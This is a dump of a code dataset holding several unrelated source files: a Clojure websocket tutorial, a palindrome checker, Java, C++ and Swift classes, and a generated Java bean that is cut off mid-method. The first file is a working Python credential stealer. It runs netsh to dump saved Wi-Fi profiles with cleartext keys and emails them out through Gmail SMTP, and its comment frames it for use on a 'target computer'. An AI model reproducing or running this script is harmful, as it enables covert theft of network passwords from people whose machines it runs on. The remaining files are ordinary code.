language
stringclasses
15 values
src_encoding
stringclasses
34 values
length_bytes
int64
6
7.85M
score
float64
1.5
5.69
int_score
int64
2
5
detected_licenses
listlengths
0
160
license_type
stringclasses
2 values
text
stringlengths
9
7.85M
Python
UTF-8
892
2.6875
3
[ "MIT" ]
permissive
# The given code when executed on a target computer will mail back on the mentioned email, all the wifi's and their passwords. # Configured only for Windows. # Change the commands to configure for other OSs. import subprocess import smtplib import re def send_mail(email, password, message): server = smtplib.SMTP("smtp.gmail.com", 587) server.starttls() server.login(email, password) server.sendmail(email, email, message) server.quit() command = "netsh wlan show profile" networks = subprocess.check_output(command, shell=True) network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks) result = "" for network_name in network_names_list: command = "netsh wlan show profile " + network_name + " key=clear" current_result = subprocess.check_output(command, shell=True) result = result + current_result send_mail("your.mail.id123@gmail.com", "yourpassword123", result)
Markdown
UTF-8
8,786
2.734375
3
[]
no_license
{:title "Using Websockets" :layout :page :page-index 1200} In this chapter I will show you how to add websockets to a closp application and how to use them bidirectional. ## Libraries First we will add two new libraries to enable websockets support. Put these into the _:dependencies_ section of your _project.clj_ - [com.taoensso/sente "1.8.1"] - [org.clojure/core.match "0.3.0-alpha4"] core.match is used for dispatching on the event types later. Exit any REPL that you had open and also stop figwheel. After adding the dependencies you have to start both again in a command line: > lein repl > lein figwheel This is necessary to pick up new dependencies. ## Component To make use of websockets we will have to add a new component on the backend side. It is responsible for starting and stopping them. Create a new file _ws.clj_ in `src/clj/foo/example/components` with the following content: ``` (ns foo.example.components.ws (:require [taoensso.sente :as sente] [taoensso.sente.server-adapters.http-kit :refer [sente-web-server-adapter]] [com.stuartsierra.component :as component])) (defrecord Websockets [] component/Lifecycle (start [component] (assoc component :websockets (sente/make-channel-socket! sente-web-server-adapter {}))) (stop [component] component)) (defn new-websockets [] (map->Websockets {})) ``` Next we will have to make it available to the other components that want to use websockets. For this open _components.clj_ in `src/clj/foo/example/components`. You will see other components defined already, add this line: > :websockets (ws/new-websockets) above the _:db_ component. Then change the handler component and add the websockets reference: > :handler (component/using (new-handler) [:config :locale :websockets]) And finally add add the require statement: > [foo.example.components.ws :as ws] Now we have to go through the call chain and add the _ws_ everywhere it needs to be: > _handler.clj_ in `src/clj/foo/example/components` - add the `websockets` argument to the _defrecord_ > add the `websockets` parameter to the `get-handler` call in the _defrecord_ > add the `websockets` as parameter to the `get-handler` method as parameter It should look like this now: ``` (defn get-handler [config locale websockets] (-> (app-handler (into [] (concat (when (:registration-allowed? config) [(registration-routes config)]) ;; add your application routes here [(blog-routes) (cc-routes config) home-routes (user-routes config) base-routes])) ;; add custom middleware here :middleware (load-middleware config (:tconfig locale)) :ring-defaults (mk-defaults false) ;; add access rules here :access-rules [] ;; serialize/deserialize the following data formats ;; available formats: ;; :json :json-kw :yaml :yaml-kw :edn :yaml-in-html :formats [:json-kw :edn :transit-json]) ; Makes static assets in $PROJECT_DIR/resources/public/ available. (wrap-file "resources") ; Content-Type, Content-Length, and Last Modified headers for files in body (wrap-file-info))) (defrecord Handler [config locale websockets] comp/Lifecycle (start [comp] (assoc comp :handler (get-handler (:config config) locale websockets))) (stop [comp] (assoc comp :handler nil))) (defn new-handler [] (map->Handler {})) ``` ## Defining Routes We need to add two routes as websocket endpoints. For this create a new source file _ws.clj_ in `src/clj/foo/example/routes` with the following content: ``` (ns foo.example.routes.ws (:require [compojure.core :refer [routes GET POST]])) (defn ws-routes [{:keys [websockets]}] (routes (GET "/ws" req ((:ajax-get-or-ws-handshake-fn websockets) req)) (POST "/ws" req ((:ajax-post-fn websockets) req)))) ``` Also we have to register the routes in the handler. Reopen the _handler.clj_ file from the last paragraph. Change this namespace: > [compojure.core :refer [defroutes routes wrap-routes]] Require some more namespaces: > [foo.example.routes.ws :refer [ws-routes]] > [ring.middleware.params :refer [wrap-params]] > [ring.middleware.keyword-params :refer [wrap-keyword-params]] And finally change the `get-handler` function to look like that: ``` (defn get-handler [config locale websockets] (routes (-> (ws-routes websockets) (wrap-routes wrap-params) (wrap-routes wrap-keyword-params)) (-> (app-handler (into [] (concat (when (:registration-allowed? config) [(registration-routes config)]) ;; add your application routes here [(ws-routes websockets) (blog-routes) (cc-routes config) home-routes (user-routes config) base-routes])) ;; add custom middleware here :middleware (load-middleware config (:tconfig locale)) :ring-defaults (mk-defaults false) ;; add access rules here :access-rules [] ;; serialize/deserialize the following data formats ;; available formats: ;; :json :json-kw :yaml :yaml-kw :edn :yaml-in-html :formats [:json-kw :edn :transit-json]) ; Makes static assets in $PROJECT_DIR/resources/public/ available. (wrap-file "resources") ; Content-Type, Content-Length, and Last Modified headers for files in body (wrap-file-info)))) ``` As you may have noticed we separated the websocket routes from the other existing routes. This is because the websockets need a different set of middleware applied than the _standard_ routes. Switch to the REPL and execute: > (reload) to notify closp of the new routes. If you followed the steps there should be no compile error here. ## Client Side Now we will establish a connection from client side to the websocket routes. Open _core.cljs_ in `cljs/foo/example`. Delete all the source code and replace it with this one: ``` (ns foo.example.core (:require [reagent.core :as reagent :refer [atom]] [taoensso.sente :as sente] [foo.example.helper :as h])) (defn entry [] [:div "Websocket Example"]) (defn ^:export main [] (reagent/render-component (fn [] [entry]) (h/get-elem "app"))) ``` Now browse to <http://localhost:3000/example> it should look like this: ![WS example](/img/websocket-01.png) Next add the websocket initialization and event handling for sente to that file: ``` (def router_ (atom nil)) (defmulti event-msg-handler (fn [event] (:id event))) (defmethod event-msg-handler :default [{:keys [event]}] (println "Unhandled event: %s" event)) (defmethod event-msg-handler :chsk/recv [{:keys [?data]}] (println ?data)) (defn start-router! [] ;ws-map contains these keys: chsk ch-recv send-fn state (let [ws-map (sente/make-channel-socket! "/ws" {:type :auto})] ; e/o #{:auto :ajax :ws} (reset! router_ (sente/start-chsk-router! (:ch-recv ws-map) (fn [event] (event-msg-handler event)))) ws-map)) ``` Also call the `start-router!` function from the `main` function. If you switch to the webpage and open the developer console you should see output like this: > Unhandled event: %s [:chsk/state {:type :ws, :open? true, :uid :taoensso.sente/nil-uid, :csrf-token nil, :first-open? true}] > core.cljs:147 Unhandled event: %s [:chsk/handshake [:taoensso.sente/nil-uid nil]] after refreshing the page. These are the messages you get after establishing a websocket connection from client to the server. And finally we will do the same on backend side. Reopen _ws.clj_ from `src/clj/foo/example/routes` and change it to look like this: ``` (ns foo.example.routes.ws (:require [compojure.core :refer [routes GET POST]] [taoensso.sente :as sente])) (defmulti event-msg-handler (fn [event] (:id event))) (defmethod event-msg-handler :default [{:keys [event]}] (println "Unhandled event: %s" event)) (defmethod event-msg-handler :chsk/recv [{:keys [?data]}] (println ?data)) (defn start-listening [websockets] (sente/start-chsk-router! (:ch-recv websockets) (fn [event] (event-msg-handler event)))) (defn ws-routes [{:keys [websockets]}] (start-listening websockets) (routes (GET "/ws" req ((:ajax-get-or-ws-handshake-fn websockets) req)) (POST "/ws" req ((:ajax-post-fn websockets) req)))) ``` We added the same event handling method as on client side and can act as well as send messages. To send messages you have to use the `send-fn` that was returned from the `start-chsk-router!` like this: ``` (doseq [uid (:any @connected-uids)] (send-fn uid [:some/namespace "some message"])) ``` Where `connected-uids` is another key value pair avaible in the returned map.
Python
UTF-8
678
3.5625
4
[]
no_license
import sys def is_palindrome(target: str): strings_dict = dict() len = 0 for i in target: if i == " ": continue i = i.lower() strings_dict.setdefault(i, 0) strings_dict[i] += 1 len += 1 odd_num = 0 if len % 2 == 1: for value in strings_dict.values(): if value % 2 == 1: odd_num += 1 if odd_num > 1: return False else: for value in strings_dict.values(): if value % 2 == 1: return False return True if __name__ == '__main__': target = sys.argv[1] print(is_palindrome(target))
Java
UTF-8
698
2.390625
2
[]
no_license
package gm; import static gm.ServerEngine.*; public abstract class Item { static ItemIdGenerator idGenerator = new SimpleItemIdGenerator(); String id; int locx; int locy; boolean keepable = false; public Item(){ id = idGenerator.nextId(); locx = (int)(Math.random() * (MAX_LOCX + 1)); locy = (int)(Math.random() * (MAX_LOCY + 1)); } public abstract void use(Player owner); public GameMessage createItemMessage(){ GameMessage m = new GameMessage("ITM"); m.addParam("id", id); m.addParam("locx", String.valueOf(locx)); m.addParam("locy", String.valueOf(locy)); return m; } }
C++
UTF-8
4,063
3.3125
3
[]
no_license
// // Created by Rodolfo J. Galván Martínez on 12/11/20. // #ifndef BINARYTREES_BINARYNODETREE_H #define BINARYTREES_BINARYNODETREE_H #include "BinaryTreeInterface.h" #include "BinaryNode.h" #include <iostream> #include <algorithm> #include <memory> template<class ItemType> class BinaryNodeTree : public BinaryTreeInterface<ItemType> { private: std::shared_ptr<BinaryNode<ItemType>> rootPtr; protected: // ------------------------------------------------- // Protected Utility Methods // Recursive helper methods for the public methods. // ------------------------------------------------- int getHeightHelper(std::shared_ptr<BinaryNode<ItemType>> subTreePtr) const; int getNumberOfNodesHelper(std::shared_ptr<BinaryNode<ItemType>> subTreePtr) const; // Recursively adds a new node to the tree in a left/right fashion to keep tree balanced. auto balancedAdd(std::shared_ptr<BinaryNode<ItemType>> subTreePtr, std::shared_ptr<BinaryNode<ItemType>> newNodePtr); // Removes the target value from the tree. auto removeValue(std::shared_ptr<BinaryNode<ItemType>> subTreePtr, const ItemType target, bool& isSuccessful); // Copies values up the tree to overwrite value in current node until // a leaf is reached; the leaf is then removed, since its value is stored in the parent. auto moveValuesUpTree(std::shared_ptr<BinaryNode<ItemType>> subTreePtr); // Recursively searches for target value. auto findNode(std::shared_ptr<BinaryNode<ItemType>> treePtr, const ItemType& target, bool& isSuccessful) const; // Copies the tree rooted at treePtr and returns a pointer to the root of the copy. auto copyTree(const std::shared_ptr<BinaryNode<ItemType>> oldTreeRootPtr) const; // Recursively deletes all nodes from the tree. void destroyTree(std::shared_ptr<BinaryNode<ItemType>> subTreePtr); // Recursive traversal helper methods. void preorder(void visit(ItemType&), std::shared_ptr<BinaryNode<ItemType>> treePtr) const; void inorder(void visit(ItemType&), std::shared_ptr<BinaryNode<ItemType>> treePtr) const; void postorder(void visit(ItemType&), std::shared_ptr<BinaryNode<ItemType>> treePtr) const; void graphorder(std::ostream &out, int indent, std::shared_ptr<BinaryNode<ItemType>> treePtr) const; public: // ------------------------------- // Constructors and destructors // ------------------------------- BinaryNodeTree(); BinaryNodeTree(const ItemType& rootItem); BinaryNodeTree(const ItemType& rootItem, const std::shared_ptr<BinaryNodeTree<ItemType>> leftTreePtr, const std::shared_ptr<BinaryNodeTree<ItemType>> rightTreePtr); BinaryNodeTree(const std::shared_ptr<BinaryNodeTree<ItemType>>& tree); virtual ~BinaryNodeTree(); // --------------------------------------------- // Public BinaryTreeInterface Methods Section // --------------------------------------------- bool isEmpty() const; int getHeight() const; int getNumberOfNodes() const; ItemType getRootData() const; void setRootData(const ItemType& newData); bool add(const ItemType& newData); bool remove(const ItemType& data); void clear(); ItemType getEntry(const ItemType& anEntry) const ; bool contains(const ItemType& anEntry) const; // --------------------------------------------- // Public Traversals Section // --------------------------------------------- virtual void preorderTraverse(void visit(ItemType&)) const; virtual void inorderTraverse(void visit(ItemType&)) const; virtual void postorderTraverse(void visit(ItemType&)) const; void graphdisplay(std::ostream &out) const; // --------------------------------------------- // Overload Operators Section // --------------------------------------------- BinaryNodeTree& operator = (const BinaryNodeTree& rightHandSide); }; // end BinaryNodeTree #endif //BINARYTREES_BINARYNODETREE_H
Swift
UTF-8
3,331
3.078125
3
[]
no_license
// // PaletteChooser.swift // EmojiArt // // Created by wenpu.duan on 2022/12/2. // import SwiftUI struct PaletteChooser: View { @ObservedObject var document: EmojiArtDocument @Binding var chosenPalette: String @State var popoverStatus: Bool = false var body: some View { HStack { Stepper { } onIncrement: { self.chosenPalette = self.document.palette(after: self.chosenPalette) } onDecrement: { self.chosenPalette = self.document.palette(before: self.chosenPalette) } Text(self.document.paletteNames[self.chosenPalette] ?? "") Image(systemName: "keyboard") .onTapGesture { self.popoverStatus = true } .popover(isPresented: $popoverStatus) { PalettePopover(chosenPalette: $chosenPalette, popoverStatus: $popoverStatus).environmentObject(document) .frame(minWidth: 200, minHeight: 300) } } .fixedSize() } } struct PalettePopover: View { @Binding var chosenPalette: String @Binding var popoverStatus: Bool @State private var paletteName: String = "" @State private var inputEmojiString: String = "" @EnvironmentObject var document: EmojiArtDocument var body: some View { VStack { ZStack { Text("Palette Editter") HStack { Spacer() Button { self.popoverStatus = false } label: { Text("Done") } } } Divider() Form { Section { TextField("Palette Name", text: $paletteName) { begin in if !begin { self.document.renamePalette(self.chosenPalette, to: self.paletteName) } } TextField("add emoji", text: $inputEmojiString) { begin in if !begin { self.chosenPalette = self.document.addEmoji(self.inputEmojiString, toPalette: self.chosenPalette) self.inputEmojiString = "" } } } Section(header: Text("Remove Emoji")) { Grid(self.chosenPalette.map { String($0) }, id: \.self) { emoji in Text(emoji) .onTapGesture { self.chosenPalette = self.document.removeEmoji(emoji, fromPalette: self.chosenPalette) } } .frame(height: self.height) } } } .onAppear { self.paletteName = self.document.paletteNames[self.chosenPalette] ?? "" } } var height: CGFloat { CGFloat(((chosenPalette.count - 1) / 6) * 70 + 70) } } struct PaletteChooser_Previews: PreviewProvider { static var previews: some View { PaletteChooser(document: EmojiArtDocument(), chosenPalette: Binding.constant("")) } }
Java
UTF-8
85,752
2.203125
2
[ "LicenseRef-scancode-generic-cla", "ECL-2.0", "LicenseRef-scancode-warranty-disclaimer" ]
permissive
package Srrqn01h.Abean; import java.applet.*; import java.awt.event.*; import java.io.*; import java.beans.*; import java.util.*; import java.net.URL; import java.math.*; import java.text.*; import com.ca.gen80.jprt.*; import com.ca.gen80.odc.coopflow.*; import com.ca.gen80.odc.msgobj.*; import com.ca.gen80.csu.trace.*; import com.ca.gen80.vwrt.types.*; /** * <strong>API bean documentation.</strong><p> * * This html file contains the public methods available in this bean.<br> * NOTE: the links at the top of this page do not work, as they are not connected to anything. * To get the images in the file to work, copy the images directory * from 'jdk1.1.x/docs/api/images' to the directory where this file is located. */ public class Srrqn01sQuoteStudyFees implements ActionListener, java.io.Serializable { // Use final String for the bean name public static final String BEANNAME = new String("Srrqn01sQuoteStudyFees"); // Constants for Asynchronous status public static final int PENDING = CoopFlow.DATA_NOT_READY; public static final int AVAILABLE = CoopFlow.DATA_READY; public static final int INVALID_ID = CoopFlow.INVALID_ID; private final SimpleDateFormat nativeTimestampFormatter = new SimpleDateFormat("yyyyMMddHHmmssSSS"); private final SimpleDateFormat nativeTimeFormatter = new SimpleDateFormat("HHmmss"); private final SimpleDateFormat nativeDateFormatter = new SimpleDateFormat("yyyyMMdd"); private static DecimalFormat decimalFormatter; public Srrqn01sQuoteStudyFees() { super(); DecimalFormatSymbols symbols = new DecimalFormatSymbols(); symbols.setDecimalSeparator('.'); symbols.setGroupingSeparator(','); decimalFormatter = new DecimalFormat("###################.###################", symbols); nativeDateFormatter.setLenient(false); nativeTimeFormatter.setLenient(false); nativeTimestampFormatter.setLenient(false); Trace.initialize(null); } /** * Sets the traceflag to tell the bean to output diagnostic messages on stdout. * * @param traceFlag 1 to turn tracing on, 0 to turn tracing off. */ public void setTracing(int traceFlag) { if (traceFlag == 0) Trace.setMask(Trace.MASK_NONE); else Trace.setMask(Trace.MASK_ALL); } /** * Gets the current state of tracing. * * @return traceFlag value */ public int getTracing() { if (Trace.getMask() == Trace.MASK_NONE) return 0; else return 1; } protected void traceOut(String x) { if (Trace.isTracing(Trace.MASK_APPLICATION)) { Trace.record(Trace.MASK_APPLICATION, BEANNAME, x); } } private Srrqn01sQuoteStudyFeesOperation oper = null; /** * Calls the transaction/procedure step on the server. * * @exception java.beans.PropertyVetoException * Final property checks can throw this exception. */ public void execute() throws PropertyVetoException { try { if (oper == null) { oper = new Srrqn01sQuoteStudyFeesOperation(this); addCompletionListener(new operListener(this)); addExceptionListener(new operListener(this)); } oper.doSrrqn01sQuoteStudyFeesOperation(); notifyCompletionListeners(); } catch (PropertyVetoException ePve) { PropertyChangeEvent pce = ePve.getPropertyChangeEvent(); String s = pce.getPropertyName(); System.out.println("\nPropertyVetoException on " + s + ": " + ePve.toString()); throw ePve; } catch (ProxyException e) { notifyExceptionListeners(e.toString()); return; } } private class operListener implements ActionListener, java.io.Serializable { private Srrqn01sQuoteStudyFees rP; operListener(Srrqn01sQuoteStudyFees r) { rP = r; } public void actionPerformed(ActionEvent aEvent) { if (Trace.isTracing(Trace.MASK_APPLICATION)) { Trace.record(Trace.MASK_APPLICATION, "Srrqn01sQuoteStudyFees", "Listener heard that Srrqn01sQuoteStudyFeesOperation completed with " + aEvent.getActionCommand()); } String excp = "Exception"; if (excp.equalsIgnoreCase(aEvent.getActionCommand().substring(0,9))) System.out.println("\nException on " + aEvent.getActionCommand().substring(10)); } } private Vector completionListeners = new Vector(); /** * Adds an object to the list of listeners that are called when execute has completed. * * @param l a class object that implements the ActionListener interface. See the test UI * for an example. */ public synchronized void addCompletionListener(ActionListener l) { if (Trace.isTracing(Trace.MASK_APPLICATION)) { Trace.record(Trace.MASK_APPLICATION, BEANNAME, "addCompletionListener registered"); } completionListeners.addElement(l); //add listeners } /** * Removes the object from the list of listeners that are called after completion of execute. * * @param l the class object that was registered as a CompletionListener. See the test UI * for an example. */ public synchronized void removeCompletionListener(ActionListener l) { completionListeners.removeElement(l); //remove listeners } private void notifyCompletionListeners() { if (Trace.isTracing(Trace.MASK_APPLICATION)) { Trace.record(Trace.MASK_APPLICATION, BEANNAME, "notifying listeners of completion of operation Srrqn01sQuoteStudyFees ()\n"); } Vector targets; ActionEvent actionEvt = null; synchronized (this) { targets = (Vector) completionListeners.clone(); } actionEvt = new ActionEvent(this, 0, "Completion.Srrqn01sQuoteStudyFees"); for (int i = 0; targets.size() > i; i++) { ActionListener target = (ActionListener)targets.elementAt(i); target.actionPerformed(actionEvt); } } private Vector exceptionListeners = new Vector(); /** * Adds an object to the list of listeners that are called when an exception occurs. * * @param l a class object that implements the ActionListener interface. See the test UI * for an example. */ public synchronized void addExceptionListener(ActionListener l) { if (Trace.isTracing(Trace.MASK_APPLICATION)) { Trace.record(Trace.MASK_APPLICATION, BEANNAME, "addExceptionListener registered"); } exceptionListeners.addElement(l); //add listeners } /** * Removes the object from the list of listeners that are called when an exception occurs. * * @param l the class object that was registered as an ExceptionListener. See the test UI * for an example. */ public synchronized void removeExceptionListener(ActionListener l) { exceptionListeners.removeElement(l); //remove listeners } private void notifyExceptionListeners(String s) { if (Trace.isTracing(Trace.MASK_APPLICATION)) { Trace.record(Trace.MASK_APPLICATION, BEANNAME, "notifying listeners of exception of operation Srrqn01sQuoteStudyFees ()\n"); } Vector targets; ActionEvent actionEvt = null; String failCommand = "Exception.Srrqn01sQuoteStudyFees"; synchronized (this) { targets = (Vector) exceptionListeners.clone(); } if (s.length() > 0) failCommand = failCommand.concat(s); actionEvt = new ActionEvent(this, 0, failCommand); for (int i = 0; targets.size() > i; i++) { ActionListener target = (ActionListener)targets.elementAt(i); target.actionPerformed(actionEvt); } } /** * Called by the sender of Listener events. */ public void actionPerformed(ActionEvent e) { String command = e.getActionCommand(); if (command.equals("execute")) { try { execute(); } catch (PropertyVetoException pve) {} } else { if (Trace.isTracing(Trace.MASK_APPLICATION)) { Trace.record(Trace.MASK_APPLICATION, BEANNAME, "ActionEvent " + e.toString()); } } } //these are the standard properties that are passed into the Server Dialog //all of these are checked when loaded by the operation into the srvdialog class private String commandSent = ""; /** * Sets the command sent property to be sent to the server where * the procedure step's executable code is installed. This property should only be * set if the procedure step uses case of command construct. * * @param s a string representing the command name */ public void setCommandSent(String s) { if (s == null) commandSent = ""; else commandSent = s; } /** * Gets the command sent property to be sent to the server where * the procedure step's executable code is installed. * * @return a string representing the command name */ public String getCommandSent() { return commandSent; } private String clientId = ""; /** * Sets the client user id property which will be sent to * the server where the procedure step's executable code is installed. A client * user id is usually accompanied by a client user password, which can be set * with the clientPassword property. Security is not enabled until the security * user exit is modified to enable it. * * @param s a string representing the client user id */ public void setClientId(String s) { if (s == null) clientId = ""; else clientId = s; } /** * Gets the client user id property which will be sent to * the server where the procedure step's executable code is installed. A client * user id is usually accompanied by a client user password, which can also be set * with the clientPassword property. Security is not enabled until the security * user exit is modified to enable it. * * @return a string representing the client user id */ public String getClientId() { return clientId; } private String clientPassword = ""; /** * Sets the client password property which will be sent to * the server where the procedure step's executable code is installed. A client * password usually accompanies a client user id, which can be set * with the clientId property. Security is not enabled until the security * user exit is modified to enable it. * * @param s a string representing the client password */ public void setClientPassword(String s) { if (s == null) clientPassword = ""; else clientPassword = s; } /** * Gets the client password property which will be sent to * the server where the procedure step's executable code is installed. A client * password usually accompanies a client user id, which can be set * with the clientId property. Security is not enabled until the security * user exit is modified to enable it. * * @return a string representing the client password */ public String getClientPassword() { return clientPassword; } private String nextLocation = ""; /** * Sets the location name (NEXTLOC) property that may be * used by ODC user exit flow dlls. * * @param s a string representing the NEXTLOC value */ public void setNextLocation(String s) { if (s == null) nextLocation = ""; else nextLocation = s; } /** * Gets the location name (NEXTLOC) property that may be * used by ODC user exit flow dlls. * * @return a string representing the NEXTLOC value */ public String getNextLocation() { return nextLocation; } private int exitStateSent = 0; /** * Sets the exit state property which will be sent to server procedure step. * * @param n an integer representing the exit state value */ public void setExitStateSent(int n) { exitStateSent = n; } /** * Gets the exit state property which will be sent to server procedure step. * * @return an integer representing the exit state value */ public int getExitStateSent() { return exitStateSent; } private String dialect = "DEFAULT"; /** * Sets the dialect property. It has the default value of "DEFAULT". * * @param s a string representing the dialect value */ public void setDialect(String s) { if (s == null) dialect = "DEFAULT"; else dialect = s; } /** * Gets the dialect property. It has the default value of "DEFAULT". * * @return a string representing the dialect value */ public String getDialect() { return dialect; } private String commandReturned; protected void setCommandReturned(String s) { commandReturned = s; } /** * Retrieves the command returned property, if any, * after the server procedure step has been executed. * * @return a string representing the command returned value */ public String getCommandReturned() { return commandReturned; } private int exitStateReturned; protected void setExitStateReturned(int n) { exitStateReturned = n; } /** * Retrieves the exit state returned property, if any, * after the server procedure step has been executed. * * @return a string representing the exit state returned value */ public int getExitStateReturned() { return exitStateReturned; } private int exitStateType; protected void setExitStateType(int n) { exitStateType = n; } /** * Gets the exit state type based upon the server procedure step exit state. * * @return a string representing the exit state type value */ public int getExitStateType() { return exitStateType; } private String exitStateMsg = ""; protected void setExitStateMsg(String s) { exitStateMsg = s; } /** * Gets the current status text message, if * one exists. A status message is associated with a status code, and can * be returned by a Gen exit state. * * @return a string representing the exit state message value */ public String getExitStateMsg() { return exitStateMsg; } private String comCfg = ""; /** * Sets the value to be used for communications instead of the information in commcfg.properties. * For details on this information, refer to the commcfg.properties file provided. * * @param s a string containing the communications command value */ public void setComCfg(String s) { if (s == null) comCfg = ""; else comCfg = s; } /** * Gets the value to be used for communications instead of the information in commcfg.properties. * For details on this information, refer to the commcfg.properties file provided. * * @return a string containing the communications command value */ public String getComCfg() { return comCfg; } private URL serverLocation; /** * Sets the URL used to locate the servlet. Set this property by calling * myObject.setServerLocation( getDocumentBase()) from your applet * or, force a server connection by using<br> * <code>try {new URL("http://localhost:80");} catch(MalformedURLException e) {}</code> * * @param s a URL containing the base URL for the servlet */ public void setServerLocation(URL newServerLoc) { serverLocation = newServerLoc; } /** * Gets the URL used to locate the servlet. * * @return a URL containing the base URL for the servlet */ public URL getServerLocation() { return serverLocation; } private String servletPath = ""; /** * Sets the URL path to be used to locate the servlet. Set this property by calling * myObject.setServletPath( ... ) from your applet. * If the servletPath is left blank, then a default path * of "servlet" will be used. * * @param s a String containing the URL path for the servlet */ public void setServletPath(String newServletPath) { if (newServletPath == null) servletPath = ""; else servletPath = newServletPath; } /** * Gets the URL path that will be used to locate the servlet. * * @return a String containing the URL path for the servlet */ public String getServletPath() { return servletPath; } private String fileEncoding = ""; /** * Sets the file encoding to be used for converting to/from UNICODE. * * @param s a string containing the file encoding value */ public void setFileEncoding(String s) { if (s == null) fileEncoding = ""; else fileEncoding = s; } /** * Gets the file encoding that will be used for converting to/from UNICODE. * * @return a string the file encoding value */ public String getFileEncoding() { return fileEncoding; } // Property interfaces // (names include full predicate viewname) // get... for each output predicate view // set... for each input predicate view // both for input-output views // export (set and fire pcs) for input-output and output views // support notifying bound properties when a attribute value changes // see pcs changes below protected transient PropertyChangeSupport pcs = new PropertyChangeSupport(this); /** * Adds an object to the list of listeners that are called when a property value changes. * * @param l a class object that implements the PropertyChangeListener interface. See the test UI * for an example. */ public void addPropertyChangeListener (PropertyChangeListener l) { pcs.addPropertyChangeListener (l); } /** * Removes the object from the list of listeners that are called when a property value changes. * * @param l the class object that was registered as a PropertyChangeListener. See the test UI * for an example. */ public void removePropertyChangeListener (PropertyChangeListener l) { pcs.removePropertyChangeListener (l); } /** * This method clears all import and export attribute properties. The * default value is used if one is specified in the model otherwise 0 is used * for numeric, date and time attributes, an empty string is used for string attributes * and "00000000000000000000" is used for timestamp attributes. For attributes in repeating * groups, the clear method sets the repeat count to 0. In addition to clearing * attribute properties, the <code>clear</code> method also clears the system properties * commandReturned, exitStateReturned, and exitStateMsg. * * @exception java.beans.PropertyVetoException * This is needed to cover the setXXXX calls used in the function. */ public void clear() throws PropertyVetoException { setCommandReturned(""); setExitStateReturned(0); setExitStateMsg(""); importView.reset(); exportView.reset(); importView.InGroup_MA = IntAttr.valueOf(InGroupMax); exportView.OutStudyUnitGroup_MA = IntAttr.getDefaultValue(); exportView.OutGroup_MA = IntAttr.getDefaultValue(); } Srrqn01h.SRRQN01S_IA importView = Srrqn01h.SRRQN01S_IA.getInstance(); Srrqn01h.SRRQN01S_OA exportView = Srrqn01h.SRRQN01S_OA.getInstance(); public String getInPrintNqfCreditsIefSuppliedFlag() { return FixedStringAttr.valueOf(importView.InPrintNqfCreditsIefSuppliedFlag, 1); } public void setInPrintNqfCreditsIefSuppliedFlag(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } Srrqn01sQuoteStudyFeesIefSuppliedFlagPropertyEditor pe = new Srrqn01sQuoteStudyFeesIefSuppliedFlagPropertyEditor(); if (pe.checkTag(s) == false) { throw new PropertyVetoException("InPrintNqfCreditsIefSuppliedFlag value \"" + s + "\" is not a permitted value.", new PropertyChangeEvent (this, "InPrintNqfCreditsIefSuppliedFlag", null, null)); } if (s.length() > 1) { throw new PropertyVetoException("InPrintNqfCreditsIefSuppliedFlag must be <= 1 characters.", new PropertyChangeEvent (this, "InPrintNqfCreditsIefSuppliedFlag", null, null)); } importView.InPrintNqfCreditsIefSuppliedFlag = FixedStringAttr.valueOf(s, (short)1); } public String getInPrintNqfLevelIefSuppliedFlag() { return FixedStringAttr.valueOf(importView.InPrintNqfLevelIefSuppliedFlag, 1); } public void setInPrintNqfLevelIefSuppliedFlag(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } Srrqn01sQuoteStudyFeesIefSuppliedFlagPropertyEditor pe = new Srrqn01sQuoteStudyFeesIefSuppliedFlagPropertyEditor(); if (pe.checkTag(s) == false) { throw new PropertyVetoException("InPrintNqfLevelIefSuppliedFlag value \"" + s + "\" is not a permitted value.", new PropertyChangeEvent (this, "InPrintNqfLevelIefSuppliedFlag", null, null)); } if (s.length() > 1) { throw new PropertyVetoException("InPrintNqfLevelIefSuppliedFlag must be <= 1 characters.", new PropertyChangeEvent (this, "InPrintNqfLevelIefSuppliedFlag", null, null)); } importView.InPrintNqfLevelIefSuppliedFlag = FixedStringAttr.valueOf(s, (short)1); } public String getInProddevCsfStringsString4() { return FixedStringAttr.valueOf(importView.InProddevCsfStringsString4, 4); } public void setInProddevCsfStringsString4(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } if (s.length() > 4) { throw new PropertyVetoException("InProddevCsfStringsString4 must be <= 4 characters.", new PropertyChangeEvent (this, "InProddevCsfStringsString4", null, null)); } importView.InProddevCsfStringsString4 = FixedStringAttr.valueOf(s, (short)4); } public String getInMatrExemptionIefSuppliedFlag() { return FixedStringAttr.valueOf(importView.InMatrExemptionIefSuppliedFlag, 1); } public void setInMatrExemptionIefSuppliedFlag(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } Srrqn01sQuoteStudyFeesIefSuppliedFlagPropertyEditor pe = new Srrqn01sQuoteStudyFeesIefSuppliedFlagPropertyEditor(); if (pe.checkTag(s) == false) { throw new PropertyVetoException("InMatrExemptionIefSuppliedFlag value \"" + s + "\" is not a permitted value.", new PropertyChangeEvent (this, "InMatrExemptionIefSuppliedFlag", null, null)); } if (s.length() > 1) { throw new PropertyVetoException("InMatrExemptionIefSuppliedFlag must be <= 1 characters.", new PropertyChangeEvent (this, "InMatrExemptionIefSuppliedFlag", null, null)); } importView.InMatrExemptionIefSuppliedFlag = FixedStringAttr.valueOf(s, (short)1); } public double getInMatrExemptionIefSuppliedTotalCurrency() { return importView.InMatrExemptionIefSuppliedTotalCurrency; } public void setInMatrExemptionIefSuppliedTotalCurrency(double s) throws PropertyVetoException { int decimals = 0; boolean decimal_found = false; String tempDataStr = decimalFormatter.format(s); for (int i=tempDataStr.length(); i>0; i--) { if (tempDataStr.charAt(i-1) == '.') { decimal_found = true; break; } decimals++; } if (decimal_found == true && decimals > 2) { throw new PropertyVetoException("InMatrExemptionIefSuppliedTotalCurrency has more than 2 fractional digits.", new PropertyChangeEvent (this, "InMatrExemptionIefSuppliedTotalCurrency", null, null)); } if (java.lang.Math.abs(s) >= 10000000000000.0) { throw new PropertyVetoException("InMatrExemptionIefSuppliedTotalCurrency has more than 13 integral digits.", new PropertyChangeEvent (this, "InMatrExemptionIefSuppliedTotalCurrency", null, null)); } importView.InMatrExemptionIefSuppliedTotalCurrency = DoubleAttr.valueOf(s); } public void setAsStringInMatrExemptionIefSuppliedTotalCurrency(String s) throws PropertyVetoException { if (s == null || s.length() == 0) { throw new PropertyVetoException("InMatrExemptionIefSuppliedTotalCurrency is not a valid numeric value: " 